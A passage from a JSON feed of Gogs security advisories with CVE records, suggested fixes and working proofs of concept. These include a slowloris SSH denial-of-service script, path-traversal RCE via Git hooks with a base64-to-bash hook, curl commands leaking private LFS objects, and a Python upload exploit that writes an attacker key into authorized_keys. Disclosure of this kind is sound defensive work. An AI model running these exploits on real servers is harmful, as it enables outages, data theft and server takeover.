all teams and returns them\n- Response includes team IDs, names, descriptions, and permission levels (read/write/admin/owner)\n\n## Proof of Concept\n\n```bash\n# List all teams in an organization — no authentication needed\ncurl -s \"http://TARGET:3000/api/v1/orgs/myorg/teams\" | python3 -m json.tool\n\n# Expected: 200 OK with full team list\n# [\n#   {\n#     \"id\": 1,\n#     \"name\": \"Owners\",\n#     \"description\": \"Admin team\",\n#     \"permission\": \"owner\"\n#   },\n#   {\n#     \"id\": 2,\n#     \"name\": \"backend-devs\",\n#     \"description\": \"Backend development team\",\n#     \"permission\": \"write\"\n#   }\n# ]\n```\n\n## Impact\n\nAn unauthenticated attacker can:\n\n- Enumerate all teams within any organization, including private/internal teams\n- Discover team permission levels (read/write/admin/owner), aiding privilege escalation planning\n- Map organizational structure and identify high-value targets (admin/owner teams)\n- Harvest team IDs for use in other API calls that may have weaker authorization checks\n\n## Suggested Remediation\n\n```go\nm.Group(\"/:orgname\", func() {\n    m.Get(\"/teams\", org.ListTeams)\n}, reqToken(), orgAssignment(true))\n```\n\nAdd `reqToken()` middleware to the org teams route group, consistent with other authenticated org endpoints. Additionally, `ListTeams()` should verify the authenticated user is a member of the organization.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-23T17:13:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.5,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/gogs/gogs/security/advisories/GHSA-744x-3838-5r56","https://github.com/gogs/gogs/pull/8336","https://github.com/gogs/gogs/commit/2ebc0e27069deade992219e10a89fbc44bec8bb9","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2026-52815","https://github.com/advisories/GHSA-744x-3838-5r56"],"source_kind":"github","identifiers":["GHSA-744x-3838-5r56","CVE-2026-52815"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T18:00:09.137Z","updated_at":"2026-08-28T13:01:26.343Z","epss_percentage":0.01488,"epss_percentile":0.72065,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NDR4LTM4MzgtNXI1Ns4ABZTV","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03NDR4LTM4MzgtNXI1Ns4ABZTV","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c 0.14.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NDR4LTM4MzgtNXI1Ns4ABZTV/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14cDc5LTVteDMtang1Ms4ABZTU","url":"https://github.com/advisories/GHSA-xp79-5mx3-jx52","title":"Gogs has Unauthenticated Asymmetric Denial of Service (DoS) via SSH Handshake Stall (File Descriptor Exhaustion)","description":"The Gogs built-in Go SSH server is vulnerable to an unauthenticated, asymmetric Denial of Service (DoS) attack. The application accepts inbound TCP connections and passes them to `golang.org/x/crypto/ssh.NewServerConn` inside a new goroutine without enforcing any read/write deadlines on the underlying `net.Conn`.\n\nAn unauthenticated attacker can open multiple TCP connections to the SSH port and simply withhold the SSH protocol banner. This forces the server to spawn an unbounded number of goroutines that block indefinitely waiting for socket I/O. This leads to complete File Descriptor (FD) exhaustion, preventing legitimate users from accessing the Git SSH service, and ultimately destabilizing the entire Gogs process (e.g., causing internal log rotation failures).\n\n### Vulnerability Details\n\nIn `internal/ssh/ssh.go`, the `listen` function contains an accept loop that spawns a goroutine for every incoming connection:\n\n```go\nfor {\n    conn, err := listener.Accept()\n    // ...\n    go func() {\n        // VULNERABILITY: No conn.SetDeadline() is called here\n        sConn, chans, reqs, err := ssh.NewServerConn(conn, config)\n        // ...\n    }()\n}\n\n```\n\nThe `golang.org/x/crypto/ssh` package is transport-agnostic and explicitly relies on the caller to manage connection timeouts before initiating the cryptographic handshake. Because Gogs never calls `conn.SetDeadline()`, the call to `NewServerConn` eventually reaches `io.ReadFull` (inside `readVersion()`) and blocks forever on the kernel TCP socket waiting for the client to send the `SSH-2.0-...` banner.\n\nEach stuck connection consumes a file descriptor and ~10KB of memory (Goroutine stack + connection structs). An attacker holding thousands of these connections open with zero bandwidth (no data sent) will quickly exhaust the OS `ulimit -n` limits (`accept4: too many open files`), completely neutralizing the service.\n\n### Steps to Reproduce\n\n**1. Environment Setup:**\nEnsure Gogs is configured to use the built-in Go SSH server in `app.ini`:\n\n```ini\n[server]\nSTART_SSH_SERVER = true\nSSH_PORT = 2222\nSSH_LISTEN_PORT = 2222\n\n```\n\n**2. The Exploit (PoC):**\nSave the following Python script as `slowloris-ssh.py`. This script connects to the SSH port and intentionally stalls the handshake.\n\n```python\n#!/usr/bin/env python3\nimport socket, sys, time\n\ntarget_host = sys.argv[1]\ntarget_port = int(sys.argv[2])\nn = int(sys.argv[3])\n\nsockets = []\nprint(f\"[*] Starting SSH Slowloris on {target_host}:{target_port}...\")\n\nfor i in range(n):\n    try:\n        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        s.settimeout(5)\n        s.connect((target_host, target_port))\n        # VULNERABILITY EXPLOIT: Do NOT send the \"SSH-2.0-...\" banner.\n        sockets.append(s)\n        if i % 100 == 0:\n            print(f\"[+] {i} stuck connections established\")\n    except Exception as e:\n        print(f\"[-] Stopped at {i} connections. Reason: {e}\")\n        break\n\nprint(f\"[+] Holding {len(sockets)} connections to starve the server...\")\nwhile True:\n    time.sleep(60)\n\n```\n\n**3. Execution:**\nRun the script against the target, ensuring the number of connections (`n`) exceeds the server's configured file descriptor limit (e.g., `1500` for default 1024 ulimit environments):\n`python3 slowloris-ssh.py \u003ctarget-ip\u003e 2222 1500`\n\n**4. Observe the Impact:**\n\n* Attempt to connect legitimately: `nc -v \u003ctarget-ip\u003e 2222`. The connection will hang or be refused immediately.\n* Inspect the Gogs server logs/console. You will observe catastrophic I/O failures such as:\n`[clog] [file]: rename rotated file ...: no such file or directory`\n`accept4: too many open files`\n\n### Impact\n\n* **Denial of Service:** Legitimate developers cannot push, pull, or clone repositories via SSH.\n\n### POC:-\n[watch the following video for poc](https://drive.google.com/file/d/1YGsZnxNIiwUuOrdKwJSfnRBfOEJcDHUJ/view?usp=sharing)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-23T17:12:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.5,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","references":["https://github.com/gogs/gogs/security/advisories/GHSA-xp79-5mx3-jx52","https://github.com/gogs/gogs/pull/8335","https://github.com/gogs/gogs/commit/7da9cda314054501e1a7938a9c4d7896f331b884","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2026-52814","https://github.com/advisories/GHSA-xp79-5mx3-jx52"],"source_kind":"github","identifiers":["GHSA-xp79-5mx3-jx52","CVE-2026-52814"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T18:00:09.137Z","updated_at":"2026-09-03T07:01:34.252Z","epss_percentage":0.00547,"epss_percentile":0.43652,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cDc5LTVteDMtang1Ms4ABZTU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14cDc5LTVteDMtang1Ms4ABZTU","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c 0.14.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cDc5LTVteDMtang1Ms4ABZTU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jMzl3LTQzZ20tMzRoNc4ABZTT","url":"https://github.com/advisories/GHSA-c39w-43gm-34h5","title":"Gogs has Path Traversal in organization name that results in RCE through Git hooks","description":"### Summary\n\nOrganization names containing path traversal sequences (`../`) are accepted by Gogs, and repositories under them are written to paths following these path traversals. This allows storing/retrieving data for repositories at arbitrary locations on the filesystem.\nBy creating nested structure of Git repositories, one can overwrite the other's `hooks` configuration to result in Remote Code Execution (RCE).\n\n### Details\n\nDuring organization creation, `internal/database/org.go` calls `os.MkdirAll(repox.UserPath(org.Name))` without sanitizing `org.Name`. \n\nhttps://github.com/gogs/gogs/blob/d7571322a04a29476d4241406ed50bf7eef0a5b7/internal/database/org.go#L165\n\nRepository creation uses this name to decide where to write the Git bare repository's (`org/name.git`). By setting the org name to `../../../../tmp/test`, and creating a repository under that organization, it gets written under `/tmp/test` on the server.\n\nhttps://github.com/gogs/gogs/blob/d7571322a04a29476d4241406ed50bf7eef0a5b7/internal/repox/repox.go#L57-L58\n\nAn attacker can abuse this in a clever way by writing to the `/data/gogs/data/tmp/local-r/1` directory, being a local worktree of the git repositories inside of Gogs. These directories are editable by Git. By creating a repository nested inside of there, files like `config` and `hooks/update` are now referenced through the path traversal, and are editable by Git. This allows the attacker to edit the `hooks/update` script with malicious Bash commands and then to trigger the hook.\n\nThe steps to exploit this inside of Gogs are roughly (ignoring some syncing dummy actions):\n\n1. Create regular outer repository and get its ID\n2. Create organization named `../../../../data/gogs/data/tmp/local-r/{ID}/nested`\n3. Create a repository inside this organization (eg. `rce`), which will be written into the local clone of the outer repository\n4. From the outer repository, edit `nested/rce.git/hooks/update` to contain malicious shell commands\n5. Interact with the `rce` repository again to trigger the updated hook, and RCE is achieved\n\n### PoC\n\n1. Set up a default Gogs instance by saving the following content to `docker-compose.yml` and running `docker compose up`:\n\n```yml\nservices:\n  db:\n    image: postgres:16-alpine\n    environment:\n      POSTGRES_USER: gogs\n      POSTGRES_PASSWORD: gogs\n      POSTGRES_DB: gogs\n    volumes:\n      - postgres-data:/var/lib/postgresql/data\n    restart: unless-stopped\n    healthcheck:\n      test: [ \"CMD-SHELL\", \"pg_isready -U gogs -d gogs\" ]\n      interval: 5s\n      timeout: 5s\n      retries: 5\n\n  gogs:\n    image: gogs/gogs\n    depends_on:\n      db:\n        condition: service_healthy\n    ports:\n      - \"3000:3000\"\n    volumes:\n      - gogs-data:/data\n    restart: unless-stopped\n\nvolumes:\n  gogs-data:\n  postgres-data:\n```\n\n2. Visit http://localhost:3000, set the *Host* to `db:5432` and *Password* to `gogs`. Under *Admin Account Settings* configure your admin account\n3. As the attacker, register an account with username `attacker` and password `attacker` at http://localhost:3000/user/sign_up\n4. As the attacker, run the following script (in gist to avoid cluttering this advisory):\n\nhttps://gist.github.com/JorianWoltjer/4b72063338b27140f4439c524d98f2b9\n\nThe output should look like:\n\n```shell\n$ python3 gogs-rce.py\nstep 1 token ok\nstep 2 create personal repo 201 full_name attacker/writer-bd426045\nstep 3 web editor new file on attacker / writer-bd426045\nstep 4 GET writer repo -\u003e local-r 1\nstep 5 create org 201 local-r 1 username ../../../../data/gogs/data/tmp/local-r/1/nested\nstep 6 get org 200 username ../../../../data/gogs/data/tmp/local-r/1/nested\nstep 7 create repo 201 full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 html_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 clone_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7.git\nstep 8 get repo 200 owner.username ../../../../data/gogs/data/tmp/local-r/1/nested full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 empty False\nCloning into '/tmp/poc-writer-fy4k5064'...\nremote: Enumerating objects: 6, done.\nremote: Counting objects: 100% (6/6), done.\nremote: Compressing objects: 100% (3/3), done.\nremote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)\nUnpacking objects: 100% (6/6), 491 bytes | 491.00 KiB/s, done.\nstep 9 clone writer repo -\u003e /tmp/poc-writer-fy4k5064\n[master 3cf84b2] poc: nested/rce-b175aca7.git hook path\n 1 file changed, 1 insertion(+)\n create mode 100755 nested/rce-b175aca7.git/hooks/update\nstep 10 write nested/rce-b175aca7.git/hooks/update with echo 'aWQ=' | base64 -d | bash \u003e pwned\nEnumerating objects: 7, done.\nCounting objects: 100% (7/7), done.\nDelta compression using up to 14 threads\nCompressing objects: 100% (2/2), done.\nWriting objects: 100% (6/6), 1022 bytes | 1022.00 KiB/s, done.\nTotal 6 (delta 0), reused 0 (delta 0), pack-reused 0\nTo http://localhost:3000/attacker/writer-bd426045.git\n   b0b9886..3cf84b2  master -\u003e master\nstep 11 push writer\nstep 12 API new file on attacker / writer-bd426045\nstep 13 API new file on org ../../../../data/gogs/data/tmp/local-r/1/nested / rce-b175aca7\nstep 14 API new file on attacker / writer-bd426045\nstep 15 GET raw pwned 200 http://localhost:3000/attacker/writer-bd426045/raw/master/nested/rce-b175aca7.git/pwned\n\n=== COMMAND OUTPUT ===\nuid=1000(git) gid=1000(git) groups=1000(git)\n```\n\n### Impact\n\nIn the default setting, users can self-register and then create their own organizations. From here they can perform this exploit to achieve RCE as the `git` user.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-06-23T17:10:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/gogs/gogs/security/advisories/GHSA-c39w-43gm-34h5","https://github.com/gogs/gogs/pull/8334","https://github.com/gogs/gogs/commit/f6acd467305943aae8403cbac81f0118dd1235d7","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2026-52813","https://github.com/advisories/GHSA-c39w-43gm-34h5"],"source_kind":"github","identifiers":["GHSA-c39w-43gm-34h5","CVE-2026-52813"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T18:00:09.137Z","updated_at":"2026-09-03T07:01:34.253Z","epss_percentage":0.01107,"epss_percentile":0.63516,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jMzl3LTQzZ20tMzRoNc4ABZTT","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jMzl3LTQzZ20tMzRoNc4ABZTT","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c 0.14.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jMzl3LTQzZ20tMzRoNc4ABZTT/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02cDltLXEzanAtNDdoNM4ABZTS","url":"https://github.com/advisories/GHSA-6p9m-q3jp-47h4","title":"Gogs: LFS dedupe path leaks private repo content across tenants","description":"Summary\n\nGit LFS storage is content-addressed by OID alone (`\u003cLFS-root\u003e/\u003coid[0]\u003e/\u003coid[1]\u003e/\u003coid\u003e`) but per-repo authorization lives in the `lfs_object` table keyed `(repo_id, oid)`. `serveUpload` skips re-uploading when the OID file already exists on disk and inserts a new `(repo_id, oid)` row pointing at it **without verifying the request body hashes to the OID being claimed**. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint.\n\nDetails\n\nDedupe shortcut at `internal/lfsx/storage.go:79-82`:\n\n```go\nif fi, err := os.Stat(fpath); err == nil {\n    _, _ = io.Copy(io.Discard, rc)\n    return fi.Size(), nil          // ← returns success with no hash check\n}\n```\n\nHash verification at `internal/lfsx/storage.go:106-108` only runs in the *new-file* branch — the dedupe path returns earlier.\n\n`serveUpload` (`internal/route/lfs/basic.go:78-114`) trusts that success and inserts the per-repo binding:\n\n```go\n_, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid)   // per-repo\nif err == nil { /* already linked, drain \u0026 return 200 */ }\nwritten, err := s.Upload(oid, c.Req.Request.Body)\nerr = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage())\n```\n\n`CreateLFSObject` is an unconditional `INSERT` on `(repo_id, oid)` with no check that the OID is referenced by the requesting repo's git history.\n\n`serveDownload` at `internal/route/lfs/basic.go:42-72` only consults the per-repo row, then streams from the shared content-addressed file.\n\nSuggested fix\n\n1. In `LocalStorage.Upload`, when `os.Stat(fpath) == nil`, hash the request body via `io.TeeReader` and `ErrOIDMismatch` on disagreement — same code path as the new-file branch already uses. The \"client retries after partial failure\" use case still works; the retry just has to send the correct content.\n2. Optional second layer: in `serveUpload`, refuse `CreateLFSObject` unless the OID is referenced by an LFS pointer in the requesting repo's refs.\n\nPoC\n\nTested against gogs at HEAD `d7571322` (also reproduces on `v0.14.2`, paths are `internal/lfsutil/storage.go` and identical logic).\n\n### Reproduction prerequisites\n- Running gogs ≥ 0.12.0 with `[lfs] ENABLED = true`.\n- Two accounts: `alice` (private repo `secrets`) and `bob` (any repo `bob/scratch`); bob has no access to `alice/secrets`.\n- An OID known to be present in `alice/secrets` — leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit).\n\n### Setup (testbed simulation of the victim's prior state)\n\n```sh\nGOGS=https://gogs.example\nALICE_AUTH='-u alice:alice_password'\nBOB_AUTH='-u bob:bob_password'\n\nVICTIM_BYTES='victim secret content'\nOID=$(printf %s \"$VICTIM_BYTES\" | sha256sum | cut -d' ' -f1)\nSIZE=$(printf %s \"$VICTIM_BYTES\" | wc -c)\n\n# After this, file lives at \u003cconf.LFS.ObjectsPath\u003e/\u003cOID[0]\u003e/\u003cOID[1]\u003e/\u003cOID\u003e\n# and (alice/secrets, OID) row exists in lfs_object.\nprintf %s \"$VICTIM_BYTES\" | curl -sS $ALICE_AUTH \\\n  -H 'Content-Type: application/octet-stream' \\\n  -X PUT --data-binary @- \\\n  \"$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID\"\n```\n\n### Attack — bob has only `$OID`, not `$VICTIM_BYTES`\n\n```sh\nunset VICTIM_BYTES   # attacker has no idea what the file contains\n\n# 1. Confirm bob has no claim on $OID.\ncurl -sS $BOB_AUTH \\\n  -H 'Accept: application/vnd.git-lfs+json' \\\n  -H 'Content-Type: application/vnd.git-lfs+json' \\\n  -X POST \"$GOGS/bob/scratch.git/info/lfs/objects/batch\" \\\n  --data \"{\\\"operation\\\":\\\"download\\\",\\\"objects\\\":[{\\\"oid\\\":\\\"$OID\\\",\\\"size\\\":$SIZE}]}\"\n# → \"actions\":{\"error\":{\"code\":404,\"message\":\"Object does not exist\"}}\n\n# 2. PUT garbage to bob's LFS endpoint. The on-disk OID file already exists\n#    so LocalStorage.Upload takes the dedupe shortcut: drains the body\n#    without hashing, returns alice's size; CreateLFSObject inserts (bob, OID).\ncurl -sS $BOB_AUTH \\\n  -H 'Content-Type: application/octet-stream' \\\n  -X PUT --data-binary 'irrelevant attacker-controlled bytes' \\\n  \"$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID\"\n# → HTTP/1.1 200 OK\n\n# 3. Download via bob's repo — gogs streams alice's bytes.\ncurl -sS $BOB_AUTH \"$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID\" -o /tmp/leaked\ncat /tmp/leaked\n# → victim secret content\nsha256sum /tmp/leaked | cut -d' ' -f1\n# → matches $OID exactly\n```\n\n### Independent confirmation against the source\n\n```sh\ngit clone https://github.com/gogs/gogs.git \u0026\u0026 cd gogs\ngit checkout d7571322\n\nsed -n '63,114p' internal/lfsx/storage.go      # dedupe at 79-82, hash check at 106 only in new-file branch\nsed -n '74,117p' internal/route/lfs/basic.go   # serveUpload calls CreateLFSObject regardless of dedupe path\ngrep -n 'primaryKey' internal/database/lfs.go  # composite (RepoID, OID) PK — multiple repos can share an OID row\n```\n\nImpact\n\n- **Cross-tenant disclosure of any LFS object on the instance.** Attacker needs HTTP write to one repo + knowledge of a target OID; storage path is global, no per-repo isolation.\n- LFS commonly stores certificates/keys, firmware blobs, ML model weights, datasets containing PII, packaged installers — all extracted byte-for-byte.\n- Persistent: the `(bob/scratch, OID)` row pins read access until manually deleted; removing bob's repo write access does not revoke prior binds. No artefact on victim's side beyond a 200 in the LFS access log.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-23T17:10:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-6p9m-q3jp-47h4","https://github.com/gogs/gogs/pull/8333","https://github.com/gogs/gogs/commit/f35a767af74e05342bafc6fdda02c791816426f8","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2026-52812","https://github.com/advisories/GHSA-6p9m-q3jp-47h4"],"source_kind":"github","identifiers":["GHSA-6p9m-q3jp-47h4","CVE-2026-52812"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T18:00:09.137Z","updated_at":"2026-08-28T13:01:26.344Z","epss_percentage":0.00236,"epss_percentile":0.14396,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cDltLXEzanAtNDdoNM4ABZTS","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02cDltLXEzanAtNDdoNM4ABZTS","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c 0.14.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cDltLXEzanAtNDdoNM4ABZTS/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04OW1yLXhxZnYtNzU4bc4ABZTR","url":"https://github.com/advisories/GHSA-89mr-xqfv-758m","title":"Gogs: UploadRepoFiles writes outside repo working tree via committed parent sym","description":"Summary\n\n`(*Repository).UploadRepoFiles` checks for symlinks only on the **leaf** of the upload target (`osx.IsSymlink(targetPath)`). The siblings `UpdateRepoFile`, `DeleteRepoFile`, and `GetDiffPreview` use `hasSymlinkInPath`, which lstats every component — `UploadRepoFiles` is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by `filepath.Base` on Linux, then converted to `/` by `pathx.Clean`) redirects the write through a previously-committed directory symlink. `iox.CopyFile` opens the destination with `os.Create` (no `O_NOFOLLOW`), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write — `~git/.ssh/authorized_keys` → SSH foothold, or `\u003crepo\u003e.git/hooks/post-receive` → next-push RCE.\n\nWindows builds are unaffected: `filepath.Base` treats `\\` as a separator (strips the multi-segment trick) and git defaults `core.symlinks=false` at checkout (committed mode-120000 entries become text files, not real symlinks).\nDetails\n\nThe asymmetric check at `internal/database/repo_editor.go:601-612`:\n\n```go\ntargetPath := path.Join(dirPath, upload.Name)\nif osx.IsSymlink(targetPath) {                       // ← LEAF-ONLY\n    return errors.Newf(\"cannot overwrite symbolic link: %s\", upload.Name)\n}\nif err = iox.CopyFile(tmpPath, targetPath); err != nil { ... }\n```\n\nvs. `UpdateRepoFile`'s correct walker at `internal/database/repo_editor.go:163`:\n\n```go\nif hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {\n    return errors.New(\"cannot update file with symbolic link in path\")\n}\n```\n\n`hasSymlinkInPath` (`internal/database/repo_editor.go:120-131`) lstats every component; `osx.IsSymlink` (`internal/osx/osx.go:35-41`) is `os.Lstat` mode-bit on the leaf — fine inside the loop, wrong as a single call.\n\nMulti-segment `upload.Name` reaches the loop because: (1) `c.Req.FormFile(\"file\")` returns `*multipart.FileHeader` whose `Filename` is `filepath.Base(filename)` — Linux only treats `/` as separator, so backslashes are preserved; (2) `NewUpload` calls `pathx.Clean` (`internal/pathx/pathx.go:13-16`) which does `strings.ReplaceAll(p, \"\\\\\", \"/\")` — converting backslashes to forward slashes; (3) `upload.Name = \"evil/foo\"` is persisted and joined into `path.Join(dirPath, upload.Name)`. `iox.CopyFile` at `internal/iox/iox.go:24` uses `os.Create(dst)` = `OpenFile(dst, O_RDWR|O_CREATE|O_TRUNC, ...)` — no `O_NOFOLLOW`, kernel follows symlinks in path. Git's default `core.symlinks=true` on Linux materialises pushed mode-120000 trees as real symlinks at the next `UpdateLocalCopyBranch`.\n\nSuggested fix\n\n1. Replace the leaf check at `repo_editor.go:606` with `hasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name))` — the same primitive `UpdateRepoFile` already uses.\n2. Walk `opts.TreePath` *before* the `os.MkdirAll(dirPath, ...)` at line 583 so that pre-existing symlinked components don't let `MkdirAll` create directories outside the repo.\n3. Switch `iox.CopyFile`'s open to `O_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW`, closing the lstat→write TOCTOU at the syscall layer.\n4. In `database.NewUpload`, after `pathx.Clean`, refuse `name` containing `/` or `\\` outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values.\n\nPoC\n\nTested against gogs HEAD `d7571322` on Ubuntu 24.04. Reproduces on `v0.14.2` (packages renamed `osx`↔`osutil`, `iox.CopyFile`↔`com.Copy`, identical logic).\n\n### Reproduction prerequisites\n- gogs ≥ 0.14.0 on Linux/macOS (`runtime.GOOS != \"windows\"`).\n- Two attacker accounts on the gogs instance with write to a repo `attacker/playground` (repo creators are admins of their own repos).\n- `git` ≥ 2.x with `core.symlinks=true` (Linux/macOS default).\n- Python 3 stdlib only — `curl -F` does NOT trigger the bug because shell quoting + Go's RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly.\n\n### Why curl alone is unreliable\n\nBug needs *two* backslash bytes on the wire so Go's `mime.ParseMediaType` quoted-string rule (`\\X` → `X`) yields a single `\\` in the parsed filename, which `pathx.Clean` then turns into `/`.\n\n| Shell form | Wire bytes | Go parses to | upload.Name | Triggers? |\n|---|---|---|---|---|\n| `-F \"...filename=a\\b\"`  | `a\\b`  | `ab`  | `ab`  | no |\n| `-F \"...filename=a\\\\b\"` (double quotes) | `a\\b`  | `ab`  | `ab`  | no |\n| `-F '...filename=a\\\\b'` (single quotes) | `a\\\\b` | `a\\b` | `a/b` | **yes** |\n\nThe Python below removes the ambiguity.\n\n### Step 1 — plant the directory symlink\n\n```sh\ngit clone https://attacker:attacker_password@gogs.example/attacker/playground\ncd playground\nln -s /home/git/.ssh hijack\ngit add hijack \u0026\u0026 git commit -m 'docs link' \u0026\u0026 git push origin main\ncd ..\n```\n\nBare repo now contains a mode-120000 entry for `hijack`. Next `UpdateLocalCopyBranch` materialises `\u003cconf.AppDataPath\u003e/tmp/local-r/\u003crepoID\u003e/hijack → /home/git/.ssh`.\n\n### Step 2 — upload + commit\n\nSave as `poc.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC for gogs UploadRepoFiles parent-symlink → arbitrary file write.\"\"\"\nimport http.client, ssl, json, re, urllib.parse\nfrom http.cookies import SimpleCookie\n\nGOGS_HOST  = 'gogs.example'\nUSERNAME   = 'attacker'\nPASSWORD   = 'attacker_password'\nREPO_OWNER = 'attacker'\nREPO_NAME  = 'playground'\nBRANCH     = 'main'\nPUBKEY     = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\\n'\n\nctx = ssl.create_default_context()    # set to None for plain HTTP / port 3000\ndef conn():\n    if ctx is None:\n        return http.client.HTTPConnection(GOGS_HOST, 3000)\n    return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx)\n\ncookies = {}\ndef update_cookies(resp):\n    for hdr in resp.msg.get_all('Set-Cookie') or []:\n        for name, morsel in SimpleCookie(hdr).items():\n            cookies[name] = morsel.value\ndef cookie_header():\n    return '; '.join(f'{k}={v}' for k, v in cookies.items())\ndef get_csrf(html):\n    return re.search(r'name=\"_csrf\"\\s+(?:value|content)=\"([^\"]+)\"', html).group(1)\n\n# 1. GET /user/login → session cookie + CSRF\nc = conn(); c.request('GET', '/user/login')\nr = c.getresponse(); update_cookies(r)\ncsrf_token = get_csrf(r.read().decode())\n\n# 2. Submit credentials\nc = conn()\nc.request('POST', '/user/login',\n    body=urllib.parse.urlencode({'_csrf': csrf_token, 'user_name': USERNAME, 'password': PASSWORD}),\n    headers={'Content-Type': 'application/x-www-form-urlencoded',\n             'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})\nr = c.getresponse(); r.read(); update_cookies(r)\nassert r.status in (302, 303), f'login failed: {r.status}'\n\n# 3. Refresh CSRF for the logged-in session\nc = conn()\nc.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()})\nr = c.getresponse(); html = r.read().decode(); update_cookies(r)\ncsrf_token = get_csrf(html)\n\n# 4. Hand-built multipart with literal \"\\\\\" (two backslash bytes) in filename.\n#    Wire form: filename=\"hijack\\\\authorized_keys\"\nboundary = '----poc-' + 'x' * 16\nfilename_on_wire = r'hijack\\\\authorized_keys'   # 23 chars, 2 of them backslashes\nbody = (\n    f'--{boundary}\\r\\n'\n    f'Content-Disposition: form-data; name=\"file\"; filename=\"{filename_on_wire}\"\\r\\n'\n    f'Content-Type: text/plain\\r\\n\\r\\n{PUBKEY}\\r\\n--{boundary}--\\r\\n'\n).encode()\nc = conn()\nc.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={\n    'Content-Type': f'multipart/form-data; boundary={boundary}',\n    'Cookie': cookie_header(), 'X-CSRF-Token': 